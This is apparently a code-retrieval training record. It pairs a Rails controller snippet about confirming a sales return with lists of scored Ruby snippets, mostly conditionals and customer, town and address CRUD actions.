yield\n end", "def fn_not(cond)\n {\n \"Fn::Not\" => [cond]\n }\n end", "def _reduce_337(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def _reduce_337(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def maybe_no_color(toggle:)\n toggle and no_color or self\n end", "def default_true\n return (@acts[1].nil? ? true : @acts[1])\n end", "def even_or_odd(number)\n (number % 2 == 0) ? \"Even\": \"Odd\"\nend", "def expand_elses(branch); end", "def expand_elses(branch); end", "def even_or_odd (num)\n if num.even? == true\n \"#{num} is even.\"\n else\n \"#{num} is odd.\"\n end \nend", "def do_conditional\n cond = inequality\n\n loop do\n type = @lexer.peek_next_type\n\n break unless [:AND, :OR].include? type\n @lexer.skip\n\n # The rhs has to be evaluated here because of short-circuiting\n\n rhs = inequality\n\n cond &&= rhs if type == :AND\n cond ||= rhs if type == :OR\n end\n\n return unless cond\n\n expect [:THEN]\n line_do\n end", "def infer_boolean bool_property, indicator_properties, atts, default=nil\n atts[bool_property] = default unless (atts[bool_property] or default.nil?)\n indicator_properties.each do |x|\n atts[bool_property] = true unless atts[x].nil?\n end\n return atts\n end", "def detect(ifnone=nil, &block)\n return to_enum :detect, ifnone unless block\n\n self.each{|*val|\n if block.call(*val)\n return val.__svalue\n end\n }\n ifnone.call unless ifnone.nil?\n end", "def getOrElse *args\n @val\n end", "def ifte\n\t\t\t_else = pop\n\t\t\t_then = pop\n\t\t\t_if = pop\n\t\t\traise ArgumentError, \"IFTE: first element is not an Array.\" unless _if.is_a? Array\n\t\t\traise ArgumentError, \"IFTE: second element is not an Array.\" unless _then.is_a? Array\n\t\t\traise ArgumentError, \"IFTE: third element is not an Array.\" unless _else.is_a? Array\n\t\t\tsave_stack\n\t\t\t~_if\n\t\t\tcondition = pop\n\t\t\trestore_stack\n\t\t\tif condition then\n\t\t\t\t~_then\n\t\t\telse\n\t\t\t\t~_else\n\t\t\tend\n\t\tend", "def gather_unless(*methods, &block)\n add_gather_conditions(methods, block, false)\n end", "def yesno(s)\n puts s ? 'yes' : 'no'\n end", "def _reduce_16(val, _values, result)\n result = IfElse.new(val[2], val[4], []) \n result\nend", "def _reduce_337(val, _values, result)\n else_t, else_ = val[4]\n result = [ val[0],\n @builder.condition(val[0], val[1], val[2],\n val[3], else_t,\n else_, nil),\n ]\n \n result\nend", "def preconditions arr\n arr.each {|i|\n if (i.is_bool? && i==false) || (i.is_a?(Proc) && (i.call==false))\n return false\n end\n }\n return true\nend", "def _reduce_474(val, _values, result)\n body, _, cond = val\n body = remove_begin body\n\n result = s(:if, cond, body, nil).line body.line\n\n result\nend", "def see_color_with_nested_ternary(str)\n # rubocop:disable Style/NestedTernaryOperator\n str.start_with?('red') ? 'red' : str.start_with?('blue') ? 'blue' : ''\n # rubocop:enable Style/NestedTernaryOperator\n end", "def or_b\n end", "def lift\n ->(f, with, i) { f.(i) ? with.(i) : nil }.curry\n end", "def inverse_operator\n logical_operator? ? LOGICAL_OR : SEMANTIC_OR\n end" ]
[ "0.68683517", "0.633276", "0.633276", "0.61857116", "0.61130524", "0.60441", "0.60087055", "0.5983689", "0.5947374", "0.58909607", "0.5880925", "0.58262503", "0.58135486", "0.5812732", "0.5710531", "0.5708556", "0.56933373", "0.56933373", "0.5675759", "0.563877", "0.560573", "0.5602613", "0.56002927", "0.5547341", "0.5545137", "0.55244607", "0.5522523", "0.5516259", "0.551263", "0.55125517", "0.5470763", "0.54591405", "0.54472804", "0.5431225", "0.5409892", "0.5391337", "0.53550476", "0.5353809", "0.5318605", "0.5314972", "0.53094834", "0.5295629", "0.52956176", "0.52901477", "0.5287863", "0.5284203", "0.5248603", "0.5239786", "0.5239607", "0.5233519", "0.5231638", "0.5230999", "0.5222083", "0.5213277", "0.5209445", "0.5205009", "0.51778144", "0.5165493", "0.5160025", "0.5148119", "0.5146873", "0.51456976", "0.51371014", "0.51020736", "0.50948524", "0.50948524", "0.50948524", "0.5092079", "0.5082173", "0.5082173", "0.5082173", "0.508145", "0.5080496", "0.5079509", "0.50767946", "0.50761503", "0.50470287", "0.50406206", "0.5030748", "0.5030748", "0.5027488", "0.50214964", "0.5020497", "0.5014247", "0.5014247", "0.50068", "0.50052893", "0.49967456", "0.49960658", "0.49952698", "0.498789", "0.49826553", "0.49712875", "0.49707997", "0.49696693", "0.49690032", "0.4968567", "0.49675405", "0.49618098", "0.49563423", "0.49519163" ]
0.0
-1
def create HARD CODE.. just for testing purposes params[:customer][:town_id] = Town.first.id
def confirm_sales_return @sales_return = SalesReturn.find_by_id params[:sales_return_id] # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company @sales_return.confirm( current_user ) @sales_return.reload # sleep 5 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @town = Town.new(town_params)\n super\n end", "def town_params\n params.require(:town).permit(:name, :township_id)\n end", "def create\n @city = City.first\n @idcity= @city.id\n @zone = Zone.new(zone_params)\n @zone.city_id = @idcity\n if @zone.save \n render json: { status: :created }\n else\n render json: @zone.errors, status: :unprocessable_entity\n end\n end", "def create\n @town_detail = TownDetail.new(town_detail_params)\n\n respond_to do |format|\n if @town_detail.save\n format.html { redirect_to town_detail_url(@town_detail), notice: \"Town detail was successfully created.\" }\n format.json { render :show, status: :created, location: @town_detail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @town_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_town\n @town = Town.find(params[:id])\n end", "def set_town\n @town = Town.find(params[:id])\n end", "def create\n @customer = Customer.new(customer_params.map{|k,v| {k.to_sym => v.class == ActionController::Parameters ? [v.to_hash] : v.to_s}}.reduce({}, :merge))\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def customer_params\n\t\t\tparams.require(:customer).permit(:name, :city_id)\n\t\tend", "def create\n\n @customer = Customer.new(customer_params)\n if @customer.bank_id.blank?\n if bank_params.present?\n @bank = Bank.new(bank_params)\n bank_save = @bank.save\n else \n bank_save = false\n end\n else\n #@bank = Bank.find(@customer.bank_id)\n #bank_save = (@bank.present?) ? true : false\n bank_save = true\n end\n\n if bank_save\n @customer.bank_id = @bank.id if @customer.bank_id.blank?\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @customer }\n else\n format.html { render action: 'new' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n else\n gc()\n render action: 'new'\n end\n end", "def create\n #@customer = Customer.new(params[:customer].merge(:user_id => current_user.id))\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to customers_path, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #render :text => params.inspect and return false\n params[:customer][:country] = params[:country]\n params[:customer][:status] = params[:status]\n @customer = Customer.new(params[:customer])\n \n # render :text => @customer.inspect and return false\n respond_to do |format|\n if @customer.save\n flash[:msg] = 'Customer was successfully created.'\n format.html { redirect_to :controller => 'customers', :action => 'index' }\n #format.json { render json: @customer, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_new_customer \n @new_customer = Customer.new\n @new_customer.name = params[\"new_contact_name\"]\n @new_customer.email = params[\"contact_email\"]\n @new_customer.florist_id = session[\"found_florist_id\"]\n if @new_customer.save\n redirect_to \"/cust_edit/#{@new_customer.id}\" and return\n else\n render(:cust_new) and return\n end\n end", "def set_town\n @town = Town.find(params[:id])\n end", "def set_town\n @town = Town.find(params[:id])\n end", "def customer_params\n params.require(:customer).permit(:custID, :interested, :bought, :phone)\n end", "def create\n @customer = Customer.new(customer_params)\n if @customer.save\n redirect_to(action: \"show\", id: @customer)\n else\n render action: \"new\"\n end\n end", "def create\n @customer = Customer.new customer_params\n\n if @customer.save\n redirect_to @customer\n else\n render 'new'\n end\n end", "def set_customer\n @customer = params[:id].present? ? Customer.find(params[:id]) : Customer.find_or_create_by(name:cookies[:opxPID])\n end", "def customer_params\n params.require(:customer).permit(:state_id, :city_id, :name, :email, :mobile)\n end", "def create\n set_instance model.new(type_params)\n respond_to do |format|\n\n if get_instance.customer.nil?\n get_instance.customer = Customer.find_by(\n :name => type_params[:name],\n :identification => type_params[:identification]\n )\n end\n\n if get_instance.customer.nil?\n get_instance.customer = Customer.new(\n :name => type_params[:name],\n :identification => type_params[:identification],\n :email => type_params[:email],\n :contact_person => type_params[:contact_person],\n :invoicing_address => type_params[:invoicing_address],\n :shipping_address => type_params[:shipping_address]\n )\n end\n\n if get_instance.save\n set_meta get_instance\n format.html { redirect_to redirect_address(@type), notice: \"#{type_label} was successfully created.\" }\n else\n flash[:alert] = \"#{type_label} has not been created.\"\n format.html { render sti_template(@type, :new) }\n end\n end\n end", "def create\n @customer = Customer.new(customer_params)\n if @customer.save\n # render json: {name:@customer.name,mobile:@customer.mobile,email:@customer.email,state_name:@customer.state.name,\n # city_name:@customer.city.name,state_id:@customer.state_id,city_id:@customer.city_id}\n render json: @customer.attributes.merge(state_name:@customer.state.name,city_name:@customer.city.name,customer_count:Customer.count);\n else\n render json:{error: @customer.errors.full_messages}\n end\n end", "def customer_add_params\n params.require(:customer_add).permit(:c_id, :country, :state, :city, :street, :zipcode)\n end", "def set_town_detail\n @town_detail = TownDetail.find(params[:id])\n end", "def create\n @address_customer = AddressCustomer.new(params[:address_customer])\n\n respond_to do |format|\n if @address_customer.save\n format.html { redirect_to @address_customer, notice: 'Address customer was successfully created.' }\n format.json { render json: @address_customer, status: :created, location: @address_customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @address_customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def setCustomerAttributes(customernumber, email, firstname, lastname, salutation, password, shopId, street, city, zipcode, country)\n #if string_country\n customer_properties = {\n :number => customernumber,\n :email => email,\n :firstname => firstname,\n :lastname => lastname,\n :salutation => salutation,\n :password => password,\n :shopId => shopId,\n :billing => {\n :firstname => firstname,\n :lastname => lastname,\n :salutation => salutation,\n :street => street,\n :city => city,\n :zipcode => zipcode,\n :country => country\n }\n }\n createCustomer(customer_properties)\n end", "def create\n @customer = Customer.new(customer_params)\n @order = @customer.order\n\n set_customer_defaults\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @order, notice: 'Customer was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @admin_town = Admin::Town.new(params[:admin_town])\n\n respond_to do |format|\n if @admin_town.save\n format.html { redirect_to(@admin_town, :notice => 'Town was successfully created.') }\n format.xml { render :xml => @admin_town, :status => :created, :location => @admin_town }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @admin_town.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @type_customer = TypeCustomer.new(params[:type_customer])\n\n respond_to do |format|\n if @type_customer.save\n format.html { redirect_to @type_customer, notice: 'Type customer was successfully created.' }\n format.json { render json: @type_customer, status: :created, location: @type_customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @type_customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @city = City.new(params[:city])\n @city.state_id = params[:state_id]\n \n respond_to do |format|\n if @city.save\n format.html { redirect_to country_state_cities_path, :notice => t('controller_message.inserted') }\n format.json { render :json => @city, :status => :created, :location => @city }\n else\n @state = State.find(params[:state_id])\n @country = Country.find(@state.country_id)\n format.html { render :action => \"new\" }\n format.json { render :json => @city.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @town = Town.new(params[:town])\n\n respond_to do |format|\n if @town.save\n flash[:notice] = 'Town was successfully created.'\n format.html { redirect_to(@town) }\n format.xml { render :xml => @town, :status => :created, :location => @town }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @town.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @address = current_customer.addresses.build(\n province: Province.find(params[:province_id].to_i),\n country_code: params[:country_code],\n is_primary_address: address_params[:is_primary_address].to_i == 1,\n address_line_one: address_params[:address_line_one],\n address_line_two: address_params[:address_line_two],\n address_additional: address_params[:address_additional],\n city: address_params[:city],\n postal_code: address_params[:postal_code]\n )\n\n respond_to do |format|\n if @address.save\n format.html { redirect_to @address, notice: \"Address was successfully created.\" }\n format.json { render :show, status: :created, location: @address }\n else\n format.html { render :new }\n format.json { render json: @address.errors, status: :unprocessable_entity }\n end\n end\n end", "def customer_params\n params.require(:customer).permit(:code, :name, :address, :postcode, :latitude, :longitude)\n end", "def customer_params\n params.require(:customer).permit(:id, :email, :password, :password_confirmation, \n :preferred_store_id,\n :first_name, :last_name, :nick_name, \n :home_phone, :cell_phone, \n :address1, :city, :state_id, :zip\n )\n end", "def create\n @department = Department.find(params[:department_id])\n @town = @department.towns.new(town_params)\n respond_to do |format|\n if @town.save\n format.json { render json: @town, status: :ok }\n else\n format.json { render json: @town.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n super\n if resource.save\n \t\taddress.attributes = address_params\n \t\taddress.user_id = resource.id \n \t\taddress.save\n end\n end", "def create\n @custodian = Custodian.new(custodian_params)\n\n respond_to do |format|\n if @custodian.save\n format.html { redirect_to @custodian, notice: \"Custodian was successfully created.\" }\n format.json { render :show, status: :created, location: @custodian }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @custodian.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_for_offer\n @customer = @current_account.customers.build(params[:customer])\n @customer.build_address(params[:address])\n if @customer.save\n # Create dummy objects to be able to rebuild the customer selector.\n @offer = @current_account.offers.build\n @offer.customer = @customer\n end\n end", "def add_customer(customer_id)\n self.customer_id = customer_id\n self.save\n end", "def create\n\n customerParams = params[:customer]\n\n # convert enums to integer equivalent\n customerParams[:other_language] = customerParams[:other_language].to_i\n customerParams[:gender] = customerParams[:gender].to_i\n customerParams[:residence_code] = customerParams[:residence_code].to_i\n customerParams[:remote_access] = customerParams[:remote_access].to_i\n customerParams[:preferred_contact_method] = customerParams[:preferred_contact_method].to_i\n\n\n\n @customer = Customer.new(customer_params)\n\n @customer.last_name = @customer.last_name.upcase\n @customer.first_name = @customer.first_name.upcase\n @customer.middle_name = @customer.middle_name.upcase\n @customer.address1 = @customer.address1.upcase\n @customer.address2 = @customer.address2.upcase\n @customer.city = @customer.city.upcase\n @customer.state = @customer.state.upcase\n @customer.zip_code = @customer.zip_code.upcase\n @customer.active = “true”\n @customer.birthdate = DateTime.strptime(params[:customer][:birthdate], '%m-%d-%Y') if !customerParams[:birthdate].empty?\n @customer.ssn = customerParams[:ssn].gsub!(/[\\-]/, '').to_i\n\n # TODO: need to restrict view to 2 digits only\n customerPct = customerParams[:discount_pct].to_f\n @customer.discount_pct = customerPct > 1 ? 0 : customerPct\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @town = Town.new(town_params)\n respond_to do |format|\n\n @town.area_title = Town.get_area_title(town_params[:koatuu])\n if @town.save\n format.html { redirect_to @town, notice: 'Town was successfully created.' }\n format.json { render :show, status: :created, location: @town }\n else\n format.html { render :new_town }\n format.json { render json: @town.errors, status: :unprocessable_entity }\n end\n end\n end", "def town_detail_params\n params.require(:town_detail).permit(:town_id, :size, :population)\n end", "def create\n @customer = Customer.new(params[:customer])\n @customer_types =\n CustomerType.new(\n :customer_type => params[:customer_type],\n :customer_type_name => params[:customer_type_name],\n :zip_number => params[:zip_number],\n :prefecture_cd => params[:prefecture_cd],\n :city => params[:city],\n :oaza => params[:oaza],\n :town => params[:town],\n :building_name => params[:building_name],\n :customer_type_memo => params[:customer_type_memo])\n\n @customer.customer_types << @customer_types\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: '以下の情報が登録されました。' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @regions = RegionMaster.all\n @districts = DistrictMaster.all\n\n @town_master = TownMaster.new(town_master_params)\n prefix = @town_master.name\n @town_master.town_id = TownMaster.gen_assigned_code(prefix)\n town_idd = @town_master.town_id\n\n respond_to do |format|\n if @town_master.save\n format.html { redirect_to @town_master, notice: \"Town master was successfully created.\" }\n format.json { render :show, status: :created, location: @town_master }\n else\n logger.info \"Here ===== #{@town_master.errors.messages.inspect}\"\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @town_master.errors, status: :unprocessable_entity }\n end\n end\n end", "def customer_params\n permit = [:name, :name2, :vat_number, :business_id, :phone, :mobile, :contact_person, :email, :invoice_email, :phone2, :mobile2, :contact_person2, :email2, :url, :remarks, :avatar, :plan_id, location_attributes: [:id, :latitude, :longitude, :address, :address2, :city, :country, :zip,:_destroy]]\n permit << :parent_id if current_user.is_admin? || current_company.is_jvp? # reseller already checked params[:action] == \"create\"\n permit << :is_blocked if current_user.is_admin? || current_company.is_jvp? # reseller already checked params[:action] == \"create\"\n permit += [:premium_from, :premium_until] if current_user.is_admin? || current_company.is_jvp? || current_company.is_partner?\n params.require(:company).permit(*permit)\n end", "def customer_params\n params.require(:customer).permit(:human, :name, :given_names, \n :address_city, :address_street, :address_house, :address_number, :address_postal_code, \n :address_post_office, :address_pobox, \n :lives_in_poland, :address_combine_id, \n :province_code, :province_name, :district_code, :district_name, :commune_code, :commune_name, \n :city_code, :city_name, :city_parent_code, :city_parent_name, :street_code, :street_name, :street_attribute, :post_code, :post_code_numbers, \n :c_address_city, :c_address_street, :c_address_house, :c_address_number, :c_address_postal_code, \n :c_address_post_office, :c_address_pobox, \n :c_lives_in_poland, :c_address_combine_id, \n :c_province_code, :c_province_name, :c_district_code, :c_district_name, :c_commune_code, :c_commune_name, \n :c_city_code, :c_city_name, :c_city_parent_code, :c_city_parent_name, :c_street_code, :c_street_name, :c_street_attribute, :c_post_code, :c_post_code_numbers, \n :nip, :regon, :pesel, :birth_date, :birth_place, :fathers_name, :mothers_name, :family_name, :citizenship_code, :phone, :fax, :email, :note, :user_id)\n end", "def create\n @town_type = TownType.new(params[:town_type])\n\n respond_to do |format|\n if @town_type.save\n format.html { redirect_to(@town_type, :notice => 'Town type was successfully created.') }\n format.xml { render :xml => @town_type, :status => :created, :location => @town_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @town_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\nCity.create(\n name: params[:city][:name],\n population: params[:city][:population],\n best_food: params[:city][:best_food],\n image_url: params[:city][:image_url],\n must_see: params[:city][:must_see],\n image_url_see: params[:city][:image_url_see]\n)\n\nredirect_to cities_path\n\nend", "def create\n \n \n cusname = params[:name]\n cusroll = params[:rollno]\n cusmob = params[:mobnum]\n Customer.new(cusname => :name , cusroll => :rollNum, cusmob => :mobNum )\n \n \n \n\n # respond_to do |format|\n # if @order.save\n # format.html { redirect_to @order, notice: 'Order was successfully created.' }\n # format.json { render :show, status: :created, location: @order }\n # else\n # format.html { render :new }\n # format.json { render json: @order.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @poznamka = Poznamka.new(poznamka_params)\n @customer = Customer.find(session[:customer_id])\n @poznamka.customer = @customer\n respond_to do |format|\n if @poznamka.save\n @customer.poznamkas << @poznamka\n if params[:customer_id].present?\n format.html { redirect_to customer_poznamkas_path(@customer.id), notice: 'Poznamka was successfully created.' }\n else\n format.html { redirect_to customer_poznamkas_path(@customer.id), notice: 'Poznamka was successfully created.' }\n end\n else\n format.html { render :new }\n \n end\n end\n end", "def town_params\n params.require(:town).permit(:name, :county, :state, :market_id, :slug, :town_description, :service_description, :image)\n end", "def create\n @customer_detail = CustomerDetail.new(customer_detail_params)\n # When we make a new CustomerDetail, also make a Customer to go with it, using the Email from CustomerDetail\n customer_info = customer_detail_params['customer_attributes']\n customer_info['email'] = customer_detail_params['email']\n @customer = Customer.create(customer_info)\n @customer_detail.customer = @customer\n\n respond_to do |format|\n if @customer_detail.save\n format.html { redirect_to wines_url,\n notice: \"User #{@customer_detail.email} was successfully created. Please proceed to Login.\" }\n format.json { render :show, status: :created, location: @customer_detail }\n else\n format.html { render :new }\n format.json { render json: @customer_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def customer_params\n params.require(:customer).permit(:phone, :first_name, :last_name, :campaign_id, :custom1, :custom2, :custom3)\n end", "def customer_params\n params.require(:customer).permit(:firstname, :lastname, :email, :phone, :country_id, :state_id, :city, :zipcode, :address, :customerstatusid)\n end", "def create\n @cust = Cust.new(params[:cust])\n\n respond_to do |format|\n if @cust.save\n format.html { redirect_to @cust, notice: 'Cust was successfully created.' }\n format.json { render json: @cust, status: :created, location: @cust }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cust.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_restaurant_for_create\n @restaurant = Restaurant.find(params[:restaurant][:id])\n end", "def customer_params\n params.require(:customer).permit(:title, :forename, :surname, :email, :date_of_birth, :license_period, :job_title, :occupation_id, :current_license_type, address: [:street, :city, :county, :postcode])\n end", "def create_for_invoice\n @customer = @current_account.customers.build(params[:customer])\n @customer.build_address(params[:address])\n if @customer.save\n # To display this customer on the left header reusing partials.\n @invoice = Invoice.new\n @invoice.customer = @customer\n end\n end", "def customer_params\n params.require(:customer).permit(:customer_number, :partner_id, :owner_id, :owner_type, :tickets, :advisor_id, :newsletter)\n end", "def create\n @place = current_merchant.places.new(place_params)\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n @place.cuisine_type_ids = params[:place][:cuisine_type_ids]\n @place.highlight_ids = params[:place][:highlight_ids]\n @place.dining_type_ids = params[:place][:dining_type_ids]\n end", "def new_customer_params\n params.require(:customer).permit(:name, :email, :phone, :description, :company, :address, :city, :state, :zip)\n end", "def customer_create\n @customer = Person.new(person_params)\n respond_to do |format|\n if @customer.save\n format.html { redirect_to new_customer_path, notice: 'データが新規作成されました。' }\n format.json { render :customer_show, status: :created, location: @customer }\n else\n format.html { redirect_to new_customer_path }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def customer_params\n params.require(:customer).permit(:name, :email, :cpf, :sex, :birth,\n phones_attributes: [:id, :number, :_destroy],\n address_attributes: [:state, :city, :zipcode, :neighborhood,:street, :number]\n )\n end", "def set_town\n @town = Town.find_by!(slug: params[:id])\n end", "def create\n @customer = Customer.new(customer_params)\n \n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render 'new' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def customer_params\n params.require(:customer).permit(:name, :addrline1, :addr_city, :addr_state, :addr_country, :addr_pincode, :phone_no, :note)\n end", "def town_params\n params.require(:town).permit(:city, :postcode, :latitude, :longitude)\n end", "def customer_params\n params.require(:customer).permit(:id, :name, :ka)\n end", "def customer_params\n params.require(:customer).permit(:name, :company_name, :address1, :address2, :postal_code)\n end", "def set_custodian\n @custodian = Custodian.find(params[:id])\n end", "def set_township\n @township = Township.find(params[:id])\n end", "def create\n @city = City.create(params[:city])\n get_data\n end", "def create\n @customer_detail = CustomerDetail.new(customer_detail_params)\n\n respond_to do |format|\n if @customer_detail.save\n format.html { redirect_to @customer_detail, notice: \"Customer detail was successfully created.\" }\n format.json { render :show, status: :created, location: @customer_detail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @customer_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def custodian_params\n params.require(:custodian).permit(:name, :specialty)\n end", "def customer_params\n params.require(:customer).permit(:title, :first_name, :last_name, :email, :phone, :address, :city, :state, :zip, :country, :reservation_ids => [])\n end", "def create\n @origin = Origin.new(\n :latitude => trip_params[:origin][:latitude],\n :longitude => trip_params[:origin][:longitude]\n )\n @origin.save\n @destination = Destination.new(:address => trip_params[:destination][:address].concat(\" New York City\"))\n @destination.save\n @trip = Trip.new(:origin_id => @origin.id, :destination_id => @destination.id)\n @trip.save \n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip }\n format.json { render action: 'show', status: :created, location: @trip }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_customer\n @customer = Customer.find(params[:id])\n end", "def set_customer\n @customer = Customer.find(params[:id])\n end", "def set_customer\n @customer = Customer.find(params[:id])\n end", "def set_customer\n @customer = Customer.find(params[:id])\n end", "def set_customer\n @customer = Customer.find(params[:id])\n end", "def create\n @customer = customer_scope.new(customer_params)\n @customer.company_type_name = :customer\n\n puts \">>>>> Customer params\"\n puts customer_params.inspect\n\n respond_to do |format|\n if @customer.save\n CompanyRegisterMailer.send_request(@customer.id).deliver\n if customer_params[:plan_id].present?\n PlanRequest.upgrade(@customer.id, customer_params[:plan_id], current_user.id, true)\n end\n\n format.html {\n redirect = customer_path(@customer)\n redirect = company_reseller_path(current_company, @customer.parent_id) if params[:reseller_id]\n redirect = root_path() if params[:registration]\n redirect_to redirect, notice: I18n.t('customers.successfully_created')\n }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def town_params\n params.require(:town).permit(:name, :year_founded, :elevation, :population, :latitude, :longitude, :time_zone, :cpa_base, :dialing_code, :subdomain)\n end", "def customer_params\n params.require(:customer).permit(:unit_id, :name, :cnpj, :cpf, :zipcode, :state, :city_name, :address, :address_number, :address_complement, :neighborhood, :email, :phone_number, :created_at, :fl_charge_monetary_correction, :fl_charge_interest, :fl_charge_fine, :fl_charge_tax)\n end", "def create\n @customer_customer = Customer::Customer.new(customer_customer_params)\n @customer_customer.admin = current_admin\n\n respond_to do |format|\n if @customer_customer.save\n format.html { redirect_to @customer_customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer_customer }\n else\n format.html { render :new }\n format.json { render json: @customer_customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @customer = customers.new(params[:customer])\n\n if @customer.save\n redirect_to customers_path, notice: '客户信息保存成功' \n else\n render action: \"new\" \n end\n end", "def create\n @accounting_office = AccountingOffice.new(params[:accounting_office])\n\n #@accounting_office.regional_directorate_id = RegionalDirectorate.find_by_code(params[:accounting_office][:regional_directorate_id]).id\n\n respond_to do |format|\n if @accounting_office.save\n format.html { redirect_to @accounting_office, notice: 'Accounting office was successfully created.' }\n format.json { render json: @accounting_office, status: :created, location: @accounting_office }\n else\n format.html { render action: \"new\" }\n format.json { render json: @accounting_office.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n unless params[:country_id]\n @city = City.new(params[:city])\n @city.step=\"2\"\n state = State.find_by_id(params[:city][:state_id]) if params[:city][:state_id]\n @city.state = state\n if @city.save\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@city.errors)\n end\n end\n end", "def new\n @customer = Customer.find(params[:customer_id])\n @account = @customer.build_account()\n end", "def create\n @customer = Customer.new(customer_params)\n if current_user.role == 'Party'\n @customer.update!(:party_id => current_user.party.id) \n redirect_to customers_path\n else\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end\nend", "def create\n @customers_address = CustomersAddress.new(params[:customers_address])\n\n respond_to do |format|\n if @customers_address.save\n format.html { redirect_to @customers_address, notice: 'Customers address was successfully created.' }\n format.json { render json: @customers_address, status: :created, location: @customers_address }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customers_address.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @reservation = Reservation.new(reservation_params)\n\n # to help with creation errors:\n @reservation.customer = current_customer \n @reservation.restaurant = @restaurant \n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @greenhouse = Greenhouse.find(params[:greenhouse_id])\n @customer = Customer.new(customer_params)\n @customer.greenhouse_id = @greenhouse.id\n respond_to do |format|\n if @customer.save\n format.html { redirect_to greenhouse_customers_path(@greenhouse.id), notice: 'Customer was successfully created.' }\n #format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n #format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def customer_params\n params.require(:customer).permit(:email, :first_name, :last_name, :custid, :dob, :active, :notes)\n end", "def township_params\n params.require(:township).permit(:name, :state_id)\n end", "def customer_params\n params.require(:customer).permit(:customer_id, :last_name, :first_name, :email, :home_phone, :cell_phone, :fax, :address, :city, :state_province, :zip_postal_code, :country_region)\n end", "def createAddress\n value = posting_address_params\n @posting=Posting.find(params[:id])\n\n if(value[:id].nil? && @posting[params[:id]].nil?)\n @address = Address.new\n if @posting[:enable_sharing]==1\n value[:hiacode]=Loolcode.create('AF','SN',20) #af for afrikelist sn for senegal... how to pull the country code?\n end\n @address.update_attributes(value)\n\n @address.save\n 